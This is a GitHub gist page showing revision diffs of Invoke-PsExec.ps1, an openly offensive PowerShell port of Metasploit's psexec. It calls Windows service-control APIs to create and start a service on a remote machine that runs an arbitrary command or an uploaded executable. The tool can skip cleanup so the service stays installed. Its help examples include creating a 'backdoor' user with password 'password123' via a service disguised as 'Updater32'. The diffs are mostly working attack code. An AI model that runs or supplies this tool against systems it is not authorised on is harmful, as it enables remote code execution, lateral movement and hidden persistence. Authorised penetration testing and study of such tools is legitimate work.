Skip to content

Instantly share code, notes, and snippets.

@thebigplate
Forked from HarmJ0y/Invoke-Psexec.ps1
Created October 17, 2018 02:56
Show Gist options
  • Save thebigplate/ca095325f826529cab5dd55f9790ea9b to your computer and use it in GitHub Desktop.
Save thebigplate/ca095325f826529cab5dd55f9790ea9b to your computer and use it in GitHub Desktop.

Revisions

  1. @HarmJ0y HarmJ0y revised this gist Aug 16, 2015. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion Invoke-Psexec.ps1
    Original file line number Diff line number Diff line change
    @@ -264,7 +264,7 @@ function Invoke-PsExec {
    Start-Sleep -s 1
    }

    if ($NoCleanup) {
    if (-not $NoCleanup) {
    # start cleanup
    # Step 6 - DeleteService()
    "[*] Deleting the service '$ServiceName'"
  2. @HarmJ0y HarmJ0y revised this gist Aug 16, 2015. 1 changed file with 28 additions and 33 deletions.
    61 changes: 28 additions & 33 deletions Invoke-Psexec.ps1
    Original file line number Diff line number Diff line change
    @@ -210,9 +210,9 @@ function Invoke-PsExec {
    # Step 1 - OpenSCManager()
    # 0xF003F = SC_MANAGER_ALL_ACCESS
    # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
    # "[*] Opening service manager"
    "[*] Opening service manager"
    $ManagerHandle = $OpenSCManagerA.Invoke("\\$ComputerName", "ServicesActive", 0xF003F)
    # Write-Verbose "[*] Service manager handle: $ManagerHandle"
    Write-Verbose "[*] Service manager handle: $ManagerHandle"

    # if we get a non-zero handle back, everything was successful
    if ($ManagerHandle -and ($ManagerHandle -ne 0)){
    @@ -222,95 +222,91 @@ function Invoke-PsExec {
    # 0x10 = SERVICE_WIN32_OWN_PROCESS
    # 0x3 = SERVICE_DEMAND_START
    # 0x1 = SERVICE_ERROR_NORMAL
    # "[*] Creating new service: '$ServiceName'"
    "[*] Creating new service: '$ServiceName'"
    $ServiceHandle = $CreateServiceA.Invoke($ManagerHandle, $ServiceName, $ServiceName, 0xF003F, 0x10, 0x3, 0x1, $Command, $null, $null, $null, $null, $null)
    # Write-Verbose "[*] CreateServiceA Handle: $ServiceHandle"
    Write-Verbose "[*] CreateServiceA Handle: $ServiceHandle"

    if ($ServiceHandle -and ($ServiceHandle -ne 0)){

    # Write-Verbose "[*] Service successfully created"
    Write-Verbose "[*] Service successfully created"

    # Step 3 - CloseServiceHandle() for the service handle
    # "[*] Closing service handle"
    "[*] Closing service handle"
    $t = $CloseServiceHandle.Invoke($ServiceHandle)

    # Step 4 - OpenService()
    # "[*] Opening the service '$ServiceName'"
    "[*] Opening the service '$ServiceName'"
    $ServiceHandle = $OpenServiceA.Invoke($ManagerHandle, $ServiceName, 0xF003F)
    # Write-Verbose "[*] OpenServiceA handle: $ServiceHandle"
    Write-Verbose "[*] OpenServiceA handle: $ServiceHandle"

    if ($ServiceHandle -and ($ServiceHandle -ne 0)){

    # Step 5 - StartService()
    # "[*] Starting the service"
    "[*] Starting the service"
    $val = $StartServiceA.Invoke($ServiceHandle, $null, $null)

    # if we successfully started the service, let it breathe and then delete it
    if ($val -ne 0){
    # Write-Verbose "[*] Service successfully started"
    Write-Verbose "[*] Service successfully started"
    # breathe for a second
    Start-Sleep -s 1
    }
    else{
    # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
    $err = $GetLastError.Invoke()
    if ($err -eq 1053){
    # Write-Warning "[*] Command didn't respond to start"
    Write-Warning "[*] Command didn't respond to start"
    }
    else{
    # Write-Warning "[!] StartService failed, LastError: $err"
    "[!] StartService failed, LastError: $err"
    Write-Warning "[!] StartService failed, LastError: $err"
    }
    # breathe for a second
    Start-Sleep -s 1
    }

    if (-not $NoCleanup) {
    if ($NoCleanup) {
    # start cleanup
    # Step 6 - DeleteService()
    # "[*] Deleting the service '$ServiceName'"
    "[*] Deleting the service '$ServiceName'"
    $val = $DeleteService.invoke($ServiceHandle)

    if ($val -eq 0){
    # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
    $err = $GetLastError.Invoke()
    # Write-Warning "[!] DeleteService failed, LastError: $err"
    Write-Warning "[!] DeleteService failed, LastError: $err"
    }
    else{
    # Write-Verbose "[*] Service successfully deleted"
    Write-Verbose "[*] Service successfully deleted"
    }
    }

    # Step 7 - CloseServiceHandle() for the service handle
    # "[*] Closing the service handle"
    "[*] Closing the service handle"
    $val = $CloseServiceHandle.Invoke($ServiceHandle)
    # Write-Verbose "[*] Service handle closed off"
    Write-Verbose "[*] Service handle closed off"

    }
    else{
    # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
    $err = $GetLastError.Invoke()
    # Write-Warning "[!] OpenServiceA failed, LastError: $err"
    "[!] OpenServiceA failed, LastError: $err"
    Write-Warning "[!] OpenServiceA failed, LastError: $err"
    }
    }

    else{
    # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
    $err = $GetLastError.Invoke()
    # Write-Warning "[!] CreateService failed, LastError: $err"
    "[!] CreateService failed, LastError: $err"
    Write-Warning "[!] CreateService failed, LastError: $err"
    }

    # final cleanup - close off the manager handle
    # "[*] Closing the manager handle"
    "[*] Closing the manager handle"
    $t = $CloseServiceHandle.Invoke($ManagerHandle)
    }
    else{
    # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
    $err = $GetLastError.Invoke()
    # Write-Warning "[!] OpenSCManager failed, LastError: $err"
    "[!] OpenSCManager failed, LastError: $err"
    Write-Warning "[!] OpenSCManager failed, LastError: $err"
    }
    }

    @@ -326,7 +322,7 @@ function Invoke-PsExec {
    # command to invoke to pipe to temp output files
    $cmd = "%COMSPEC% /C echo $Command ^> %systemroot%\Temp\$TempText > %systemroot%\Temp\$TempBat & %COMSPEC% /C start %COMSPEC% /C %systemroot%\Temp\$TempBat"

    # Write-Verbose "PsEexec results command: $cmd"
    Write-Verbose "PsEexec results command: $cmd"

    try {
    # invoke the command specified
    @@ -339,21 +335,20 @@ function Invoke-PsExec {
    Copy-Item -Force -Path $RemoteResultFile -Destination $ResultFile

    # clean up the .txt and .bat files
    # Write-Verbose "[*] Removing $RemoteResultFile"
    Write-Verbose "[*] Removing $RemoteResultFile"
    Remove-Item -Force $RemoteResultFile

    # Write-Verbose "[*] Removing \\$ComputerName\Admin$\Temp\$TempBat"
    Write-Verbose "[*] Removing \\$ComputerName\Admin$\Temp\$TempBat"
    Remove-Item -Force "\\$ComputerName\Admin$\Temp\$TempBat"
    }
    catch {
    # Write-Warning "Error: $_"
    "Error: $_"
    Write-Warning "Error: $_"
    }
    }

    else {
    # if we're executing a plain command w/o needing results
    # "[*] Executing command: '$Command'"
    "[*] Executing command: '$Command'"
    Invoke-PsExecCmd -ComputerName $ComputerName -Command $Command -ServiceName $ServiceName
    }

    @@ -385,6 +380,6 @@ function Invoke-PsExec {

    else {
    # error catching
    # Write-Warning "'-Command' or '-ServiceEXE' must be specified."
    Write-Warning "'-Command' or '-ServiceEXE' must be specified."
    }
    }
  3. @HarmJ0y HarmJ0y revised this gist Aug 16, 2015. 1 changed file with 58 additions and 51 deletions.
    109 changes: 58 additions & 51 deletions Invoke-Psexec.ps1
    Original file line number Diff line number Diff line change
    @@ -15,8 +15,8 @@ function Invoke-PsExec {
    Author: @harmj0y
    License: BSD 3-Clause
    .PARAMETER HostName
    Hostname to run the command on.
    .PARAMETER ComputerName
    ComputerName to run the command on.
    .PARAMETER Command
    Binary path (or Windows command) to execute.
    @@ -37,19 +37,19 @@ function Invoke-PsExec {
    Don't remove the service after starting it (for ServiceEXEs).
    .EXAMPLE
    > Invoke-PsExec -HostName 192.168.50.200 -Command "net user backdoor password123 /add" -ServiceName Updater32
    > Invoke-PsExec -ComputerName 192.168.50.200 -Command "net user backdoor password123 /add" -ServiceName Updater32
    Creates a user named backdoor on the 192.168.50.200 host, with the
    temporary service being named 'Updater32'.
    .EXAMPLE
    > Invoke-PsExec -HostName 192.168.50.200 -Command "dir C:\" -ServiceName Updater32 -ResultFile "results.txt"
    > Invoke-PsExec -ComputerName 192.168.50.200 -Command "dir C:\" -ServiceName Updater32 -ResultFile "results.txt"
    Runs the "dir C:\" command on 192.168.50.200 with a temporary service named 'Updater32',
    and copies the result file to "results.txt" on the local path.
    .EXAMPLE
    > Invoke-PsExec -HostName 192.168.50.200 -ServiceName Updater32 -ServiceEXE "service.exe"
    > Invoke-PsExec -ComputerName 192.168.50.200 -ServiceName Updater32 -ServiceEXE "service.exe"
    Uploads "service.exe" to the remote host, registers/starts it as a service with name
    'Updater32', and removes the service/binary after it runs (or fails to respond w/in 30 seconds).
    @@ -63,7 +63,7 @@ function Invoke-PsExec {
    param(
    [Parameter(Mandatory = $True)]
    [string]
    $HostName,
    $ComputerName,

    [string]
    $Command,
    @@ -164,7 +164,7 @@ function Invoke-PsExec {
    param(
    [Parameter(Mandatory = $True)]
    [string]
    $HostName,
    $ComputerName,

    [Parameter(Mandatory = $True)]
    [string]
    @@ -210,9 +210,9 @@ function Invoke-PsExec {
    # Step 1 - OpenSCManager()
    # 0xF003F = SC_MANAGER_ALL_ACCESS
    # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
    "[*] Opening service manager"
    $ManagerHandle = $OpenSCManagerA.Invoke("\\$HostName", "ServicesActive", 0xF003F)
    Write-Verbose "[*] Service manager handle: $ManagerHandle"
    # "[*] Opening service manager"
    $ManagerHandle = $OpenSCManagerA.Invoke("\\$ComputerName", "ServicesActive", 0xF003F)
    # Write-Verbose "[*] Service manager handle: $ManagerHandle"

    # if we get a non-zero handle back, everything was successful
    if ($ManagerHandle -and ($ManagerHandle -ne 0)){
    @@ -222,89 +222,95 @@ function Invoke-PsExec {
    # 0x10 = SERVICE_WIN32_OWN_PROCESS
    # 0x3 = SERVICE_DEMAND_START
    # 0x1 = SERVICE_ERROR_NORMAL
    "[*] Creating new service: '$ServiceName'"
    # "[*] Creating new service: '$ServiceName'"
    $ServiceHandle = $CreateServiceA.Invoke($ManagerHandle, $ServiceName, $ServiceName, 0xF003F, 0x10, 0x3, 0x1, $Command, $null, $null, $null, $null, $null)
    Write-Verbose "[*] CreateServiceA Handle: $ServiceHandle"
    # Write-Verbose "[*] CreateServiceA Handle: $ServiceHandle"

    if ($ServiceHandle -and ($ServiceHandle -ne 0)){

    Write-Verbose "[*] Service successfully created"
    # Write-Verbose "[*] Service successfully created"

    # Step 3 - CloseServiceHandle() for the service handle
    "[*] Closing service handle"
    # "[*] Closing service handle"
    $t = $CloseServiceHandle.Invoke($ServiceHandle)

    # Step 4 - OpenService()
    "[*] Opening the service '$ServiceName'"
    # "[*] Opening the service '$ServiceName'"
    $ServiceHandle = $OpenServiceA.Invoke($ManagerHandle, $ServiceName, 0xF003F)
    Write-Verbose "[*] OpenServiceA handle: $ServiceHandle"
    # Write-Verbose "[*] OpenServiceA handle: $ServiceHandle"

    if ($ServiceHandle -and ($ServiceHandle -ne 0)){

    # Step 5 - StartService()
    "[*] Starting the service"
    # "[*] Starting the service"
    $val = $StartServiceA.Invoke($ServiceHandle, $null, $null)

    # if we successfully started the service, let it breathe and then delete it
    if ($val -ne 0){
    Write-Verbose "[*] Service successfully started"
    # Write-Verbose "[*] Service successfully started"
    # breathe for a second
    Start-Sleep -s 1
    }
    else{
    # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
    $err = $GetLastError.Invoke()
    if ($err -eq 1053){
    Write-Warning "[*] Command didn't respond to start"
    # Write-Warning "[*] Command didn't respond to start"
    }
    else{
    Write-Warning "[!] StartService failed, LastError: $err"
    # Write-Warning "[!] StartService failed, LastError: $err"
    "[!] StartService failed, LastError: $err"
    }
    # breathe for a second
    Start-Sleep -s 1
    }

    # start cleanup
    # Step 6 - DeleteService()
    "[*] Deleting the service '$ServiceName'"
    $val = $DeleteService.invoke($ServiceHandle)

    if ($val -eq 0){
    # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
    $err = $GetLastError.Invoke()
    Write-Warning "[!] DeleteService failed, LastError: $err"
    }
    else{
    Write-Verbose "[*] Service successfully deleted"
    if (-not $NoCleanup) {
    # start cleanup
    # Step 6 - DeleteService()
    # "[*] Deleting the service '$ServiceName'"
    $val = $DeleteService.invoke($ServiceHandle)

    if ($val -eq 0){
    # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
    $err = $GetLastError.Invoke()
    # Write-Warning "[!] DeleteService failed, LastError: $err"
    }
    else{
    # Write-Verbose "[*] Service successfully deleted"
    }
    }

    # Step 7 - CloseServiceHandle() for the service handle
    "[*] Closing the service handle"
    # "[*] Closing the service handle"
    $val = $CloseServiceHandle.Invoke($ServiceHandle)
    Write-Verbose "[*] Service handle closed off"
    # Write-Verbose "[*] Service handle closed off"

    }
    else{
    # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
    $err = $GetLastError.Invoke()
    Write-Warning "[!] OpenServiceA failed, LastError: $err"
    # Write-Warning "[!] OpenServiceA failed, LastError: $err"
    "[!] OpenServiceA failed, LastError: $err"
    }
    }

    else{
    # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
    $err = $GetLastError.Invoke()
    Write-Warning "[!] CreateService failed, LastError: $err"
    # Write-Warning "[!] CreateService failed, LastError: $err"
    "[!] CreateService failed, LastError: $err"
    }

    # final cleanup - close off the manager handle
    "[*] Closing the manager handle"
    # "[*] Closing the manager handle"
    $t = $CloseServiceHandle.Invoke($ManagerHandle)
    }
    else{
    # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
    $err = $GetLastError.Invoke()
    Write-Warning "[!] OpenSCManager failed, LastError: $err"
    # Write-Warning "[!] OpenSCManager failed, LastError: $err"
    "[!] OpenSCManager failed, LastError: $err"
    }
    }

    @@ -320,34 +326,35 @@ function Invoke-PsExec {
    # command to invoke to pipe to temp output files
    $cmd = "%COMSPEC% /C echo $Command ^> %systemroot%\Temp\$TempText > %systemroot%\Temp\$TempBat & %COMSPEC% /C start %COMSPEC% /C %systemroot%\Temp\$TempBat"

    Write-Verbose "PsEexec results command: $cmd"
    # Write-Verbose "PsEexec results command: $cmd"

    try {
    # invoke the command specified
    "[*] Executing command and retrieving results: '$Command'"
    Invoke-PsExecCmd -HostName $HostName -Command $cmd -ServiceName $ServiceName
    Invoke-PsExecCmd -ComputerName $ComputerName -Command $cmd -ServiceName $ServiceName

    # retrieve the result file for the command
    $RemoteResultFile = "\\$HostName\Admin$\Temp\$TempText"
    $RemoteResultFile = "\\$ComputerName\Admin$\Temp\$TempText"
    "[*] Copying result file $RemoteResultFile to '$ResultFile'"
    Copy-Item -Force -Path $RemoteResultFile -Destination $ResultFile

    # clean up the .txt and .bat files
    Write-Verbose "[*] Removing $RemoteResultFile"
    # Write-Verbose "[*] Removing $RemoteResultFile"
    Remove-Item -Force $RemoteResultFile

    Write-Verbose "[*] Removing \\$HostName\Admin$\Temp\$TempBat"
    Remove-Item -Force "\\$HostName\Admin$\Temp\$TempBat"
    # Write-Verbose "[*] Removing \\$ComputerName\Admin$\Temp\$TempBat"
    Remove-Item -Force "\\$ComputerName\Admin$\Temp\$TempBat"
    }
    catch {
    Write-Warning "Error: $_"
    # Write-Warning "Error: $_"
    "Error: $_"
    }
    }

    else {
    # if we're executing a plain command w/o needing results
    "[*] Executing command: '$Command'"
    Invoke-PsExecCmd -HostName $HostName -Command $Command -ServiceName $ServiceName
    # "[*] Executing command: '$Command'"
    Invoke-PsExecCmd -ComputerName $ComputerName -Command $Command -ServiceName $ServiceName
    }

    }
    @@ -356,14 +363,14 @@ function Invoke-PsExec {
    # if we're using a custom .EXE for the PsExec call

    # upload the local service .EXE to the remote host
    $RemoteUploadPath = "\\$HostName\Admin$\$ServiceEXE"
    $RemoteUploadPath = "\\$ComputerName\Admin$\$ServiceEXE"
    "[*] Copying service binary $ServiceEXE to '$RemoteUploadPath'"
    Copy-Item -Force -Path $ServiceEXE -Destination $RemoteUploadPath

    if(-not $NoCleanup) {
    # trigger the remote executable and cleanup after
    "[*] Executing service .EXE '$RemoteUploadPath' as service '$ServiceName' and cleaning up."
    Invoke-PsExecCmd -HostName $HostName -Command $RemoteUploadPath -ServiceName $ServiceName
    Invoke-PsExecCmd -ComputerName $ComputerName -Command $RemoteUploadPath -ServiceName $ServiceName

    # remove the remote service .EXE
    "[*] Removing the remote service .EXE '$RemoteUploadPath'"
    @@ -372,12 +379,12 @@ function Invoke-PsExec {
    else {
    # upload/register the executable and don't clean up
    "[*] Executing service .EXE '$RemoteUploadPath' as service '$ServiceName' and not cleaning up."
    Invoke-PsExecCmd -HostName $HostName -Command $RemoteUploadPath -ServiceName $ServiceName -NoCleanup
    Invoke-PsExecCmd -ComputerName $ComputerName -Command $RemoteUploadPath -ServiceName $ServiceName -NoCleanup
    }
    }

    else {
    # error catching
    Write-Warning "'-Command' or '-ServiceEXE' must be specified."
    # Write-Warning "'-Command' or '-ServiceEXE' must be specified."
    }
    }
  4. @HarmJ0y HarmJ0y revised this gist Aug 16, 2015. 1 changed file with 1 addition and 2 deletions.
    3 changes: 1 addition & 2 deletions Invoke-Psexec.ps1
    Original file line number Diff line number Diff line change
    @@ -65,7 +65,6 @@ function Invoke-PsExec {
    [string]
    $HostName,

    [Parameter(Mandatory = $True)]
    [string]
    $Command,

    @@ -357,7 +356,7 @@ function Invoke-PsExec {
    # if we're using a custom .EXE for the PsExec call

    # upload the local service .EXE to the remote host
    $RemoteUploadPath = "\\$HostName\Admin$\"
    $RemoteUploadPath = "\\$HostName\Admin$\$ServiceEXE"
    "[*] Copying service binary $ServiceEXE to '$RemoteUploadPath'"
    Copy-Item -Force -Path $ServiceEXE -Destination $RemoteUploadPath

  5. @HarmJ0y HarmJ0y revised this gist Aug 16, 2015. 1 changed file with 22 additions and 16 deletions.
    38 changes: 22 additions & 16 deletions Invoke-Psexec.ps1
    Original file line number Diff line number Diff line change
    @@ -82,6 +82,8 @@ function Invoke-PsExec {
    $NoCleanup
    )

    $ErrorActionPreference = "Stop"

    # http://stackingcode.com/blog/2011/10/27/quick-random-string
    function Local:Get-RandomString
    {
    @@ -321,21 +323,26 @@ function Invoke-PsExec {

    Write-Verbose "PsEexec results command: $cmd"

    # invoke the command specified
    "[*] Executing command and retrieving results: '$Command'"
    Invoke-PsExecCmd -HostName $HostName -Command $cmd -ServiceName $ServiceName

    # retrieve the result file for the command
    $RemoteResultFile = "\\$HostName\Admin$\Temp\$TempText"
    "[*] Copying result file $RemoteResultFile to '$ResultFile'"
    Copy-Item -Force -Path $RemoteResultFile -Destination $ResultFile

    # clean up the .txt and .bat files
    Write-Verbose "[*] Removing $RemoteResultFile"
    Remove-Item -Force $RemoteResultFile

    Write-Verbose "[*] Removing \\$HostName\Admin$\Temp\$TempBat"
    Remove-Item -Force "\\$HostName\Admin$\Temp\$TempBat"
    try {
    # invoke the command specified
    "[*] Executing command and retrieving results: '$Command'"
    Invoke-PsExecCmd -HostName $HostName -Command $cmd -ServiceName $ServiceName

    # retrieve the result file for the command
    $RemoteResultFile = "\\$HostName\Admin$\Temp\$TempText"
    "[*] Copying result file $RemoteResultFile to '$ResultFile'"
    Copy-Item -Force -Path $RemoteResultFile -Destination $ResultFile

    # clean up the .txt and .bat files
    Write-Verbose "[*] Removing $RemoteResultFile"
    Remove-Item -Force $RemoteResultFile

    Write-Verbose "[*] Removing \\$HostName\Admin$\Temp\$TempBat"
    Remove-Item -Force "\\$HostName\Admin$\Temp\$TempBat"
    }
    catch {
    Write-Warning "Error: $_"
    }
    }

    else {
    @@ -374,5 +381,4 @@ function Invoke-PsExec {
    # error catching
    Write-Warning "'-Command' or '-ServiceEXE' must be specified."
    }

    }
  6. @HarmJ0y HarmJ0y revised this gist Aug 16, 2015. 1 changed file with 4 additions and 2 deletions.
    6 changes: 4 additions & 2 deletions Invoke-Psexec.ps1
    Original file line number Diff line number Diff line change
    @@ -6,6 +6,10 @@ function Invoke-PsExec {
    a remote machine, creates/run a service with an associated binary
    path or command, and then cleans everything up.
    Either a -Command or a custom -ServiceEXE can be specified.
    For -Commands, a -ResultsFile can also be specified to retrieve the
    results of the executed command.
    Adapted from MSF's version (see links).
    Author: @harmj0y
    @@ -50,11 +54,9 @@ function Invoke-PsExec {
    Uploads "service.exe" to the remote host, registers/starts it as a service with name
    'Updater32', and removes the service/binary after it runs (or fails to respond w/in 30 seconds).
    .LINK
    https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/psexec.rb
    https://github.com/rapid7/metasploit-framework/blob/master/tools/psexec.rb
    #>

    [CmdletBinding()]
  7. @HarmJ0y HarmJ0y revised this gist Aug 16, 2015. 1 changed file with 228 additions and 187 deletions.
    415 changes: 228 additions & 187 deletions Invoke-Psexec.ps1
    Original file line number Diff line number Diff line change
    @@ -1,10 +1,11 @@
    function Invoke-Psexec {
    function Invoke-PsExec {
    <#
    .SYNOPSIS
    This function is a rough port of Metasploit's psexec functionality.
    It utilizes Windows API calls to open up the service manager on
    a remote machine, creates/run a service with an associated binary
    path or command, and then cleans everything up.
    Adapted from MSF's version (see links).
    Author: @harmj0y
    @@ -19,11 +20,36 @@ function Invoke-Psexec {
    .PARAMETER ServiceName
    The name of the service to create, defaults to "TestSVC"
    .PARAMETER ResultFile
    If you want results from your command, specify this flag.
    Name of the file to write the results to locally, defaults to
    copying in the temporary result file to the local location.
    .PARAMETER ServiceEXE
    Local service binary to upload/execute on the remote host
    (instead of a command to execute).
    .PARAMETER NoCleanup
    Don't remove the service after starting it (for ServiceEXEs).
    .EXAMPLE
    > Invoke-Psexec -HostName 192.168.50.200 -Command "net user backdoor password123 /add" -ServiceName Updater32
    > Invoke-PsExec -HostName 192.168.50.200 -Command "net user backdoor password123 /add" -ServiceName Updater32
    Creates a user named backdoor on the 192.168.50.200 host, with the
    temporary service being named 'Updater32'
    temporary service being named 'Updater32'.
    .EXAMPLE
    > Invoke-PsExec -HostName 192.168.50.200 -Command "dir C:\" -ServiceName Updater32 -ResultFile "results.txt"
    Runs the "dir C:\" command on 192.168.50.200 with a temporary service named 'Updater32',
    and copies the result file to "results.txt" on the local path.
    .EXAMPLE
    > Invoke-PsExec -HostName 192.168.50.200 -ServiceName Updater32 -ServiceEXE "service.exe"
    Uploads "service.exe" to the remote host, registers/starts it as a service with name
    'Updater32', and removes the service/binary after it runs (or fails to respond w/in 30 seconds).
    .LINK
    https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/psexec.rb
    @@ -42,9 +68,32 @@ function Invoke-Psexec {
    $Command,

    [string]
    $ServiceName = "TestSVC"
    $ServiceName = "TestSVC",

    [string]
    $ResultFile,

    [string]
    $ServiceEXE,

    [switch]
    $NoCleanup
    )

    # http://stackingcode.com/blog/2011/10/27/quick-random-string
    function Local:Get-RandomString
    {
    param (
    [int]$Length = 12
    )
    $set = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ".ToCharArray()
    $result = ""
    for ($x = 0; $x -lt $Length; $x++) {
    $result += $set | Get-Random
    }
    $result
    }

    # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
    function Local:Get-DelegateType
    {
    @@ -74,7 +123,6 @@ function Invoke-Psexec {
    Write-Output $TypeBuilder.CreateType()
    }


    # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
    function Local:Get-ProcAddress
    {
    @@ -108,228 +156,221 @@ function Invoke-Psexec {
    }


    # Declare/setup all the needed API function
    # adapted heavily from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
    $CloseServiceHandleAddr = Get-ProcAddress Advapi32.dll CloseServiceHandle
    $CloseServiceHandleDelegate = Get-DelegateType @( [IntPtr] ) ([Int])
    $CloseServiceHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseServiceHandleAddr, $CloseServiceHandleDelegate)

    $OpenSCManagerAAddr = Get-ProcAddress Advapi32.dll OpenSCManagerA
    $OpenSCManagerADelegate = Get-DelegateType @( [string], [string], [Int]) ([IntPtr])
    $OpenSCManagerA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenSCManagerAAddr, $OpenSCManagerADelegate)

    $OpenServiceAAddr = Get-ProcAddress Advapi32.dll OpenServiceA
    $OpenServiceADelegate = Get-DelegateType @( [Int], [String], [Int]) ([Int])
    $OpenServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenServiceAAddr, $OpenServiceADelegate)

    $CreateServiceAAddr = Get-ProcAddress Advapi32.dll CreateServiceA
    $CreateServiceADelegate = Get-DelegateType @( [Int], [string], [string], [Int], [Int], [Int], [Int], [string], [string], [Int], [Int], [Int], [Int]) ([IntPtr])
    $CreateServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateServiceAAddr, $CreateServiceADelegate)

    $StartServiceAAddr = Get-ProcAddress Advapi32.dll StartServiceA
    $StartServiceADelegate = Get-DelegateType @( [Int], [Int], [Int]) ([Int])
    $StartServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StartServiceAAddr, $StartServiceADelegate)

    $DeleteServiceAddr = Get-ProcAddress Advapi32.dll DeleteService
    $DeleteServiceDelegate = Get-DelegateType @( [Int] ) ([Int])
    $DeleteService = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DeleteServiceAddr, $DeleteServiceDelegate)

    $GetLastErrorAddr = Get-ProcAddress Kernel32.dll GetLastError
    $GetLastErrorDelegate = Get-DelegateType @() ([Int])
    $GetLastError = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetLastErrorAddr, $GetLastErrorDelegate)

    # Step 1 - OpenSCManager()
    # 0xF003F = SC_MANAGER_ALL_ACCESS
    # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
    "[*] Opening service manager"
    $ManagerHandle = $OpenSCManagerA.Invoke("\\$HostName", "ServicesActive", 0xF003F)
    Write-Verbose "[*] Service manager handle: $ManagerHandle"

    # if we get a non-zero handle back, everything was successful
    if ($ManagerHandle -ne 0){

    # Step 2 - CreateService()
    # 0xF003F = SC_MANAGER_ALL_ACCESS
    # 0x10 = SERVICE_WIN32_OWN_PROCESS
    # 0x3 = SERVICE_DEMAND_START
    # 0x1 = SERVICE_ERROR_NORMAL
    "[*] Creating new service: '$ServiceName'"
    $ServiceHandle = $CreateServiceA.Invoke($ManagerHandle, $ServiceName, $ServiceName, 0xF003F, 0x10, 0x3, 0x1, $Command, $null, $null, $null, $null, $null)
    Write-Verbose "[*] CreateServiceA Handle: $ServiceHandle"

    if ($ServiceHandle -ne 0){

    Write-Verbose "[*] Service successfully created"
    function Local:Invoke-PsExecCmd
    {
    param(
    [Parameter(Mandatory = $True)]
    [string]
    $HostName,

    # Step 3 - CloseServiceHandle() for the service handle
    "[*] Closing service handle"
    $t = $CloseServiceHandle.Invoke($ServiceHandle)
    [Parameter(Mandatory = $True)]
    [string]
    $Command,

    # Step 4 - OpenService()
    "[*] Opening the service '$ServiceName'"
    $ServiceHandle = $OpenServiceA.Invoke($ManagerHandle, $ServiceName, 0xF003F)
    Write-Verbose "[*] OpenServiceA handle: $ServiceHandle"
    [string]
    $ServiceName = "TestSVC",

    if ($ServiceHandle -ne 0){
    [switch]
    $NoCleanup
    )

    # Step 5 - StartService()
    "[*] Starting the service"
    $val = $StartServiceA.Invoke($ServiceHandle, $null, $null)
    # Declare/setup all the needed API function
    # adapted heavily from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
    $CloseServiceHandleAddr = Get-ProcAddress Advapi32.dll CloseServiceHandle
    $CloseServiceHandleDelegate = Get-DelegateType @( [IntPtr] ) ([Int])
    $CloseServiceHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseServiceHandleAddr, $CloseServiceHandleDelegate)

    # if we successfully started the service, let it breathe and then delete it
    if ($val -ne 0){
    Write-Verbose "[*] Service successfully started"
    # breathe for a second
    Start-Sleep -s 1
    }
    else{
    # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
    $err = $GetLastError.Invoke()
    if ($err -eq 1053){
    Write-Warning "[*] Command didn't respond to start"
    $OpenSCManagerAAddr = Get-ProcAddress Advapi32.dll OpenSCManagerA
    $OpenSCManagerADelegate = Get-DelegateType @( [string], [string], [Int]) ([IntPtr])
    $OpenSCManagerA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenSCManagerAAddr, $OpenSCManagerADelegate)

    $OpenServiceAAddr = Get-ProcAddress Advapi32.dll OpenServiceA
    $OpenServiceADelegate = Get-DelegateType @( [Int], [String], [Int]) ([Int])
    $OpenServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenServiceAAddr, $OpenServiceADelegate)

    $CreateServiceAAddr = Get-ProcAddress Advapi32.dll CreateServiceA
    $CreateServiceADelegate = Get-DelegateType @( [Int], [string], [string], [Int], [Int], [Int], [Int], [string], [string], [Int], [Int], [Int], [Int]) ([IntPtr])
    $CreateServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateServiceAAddr, $CreateServiceADelegate)

    $StartServiceAAddr = Get-ProcAddress Advapi32.dll StartServiceA
    $StartServiceADelegate = Get-DelegateType @( [Int], [Int], [Int]) ([Int])
    $StartServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StartServiceAAddr, $StartServiceADelegate)

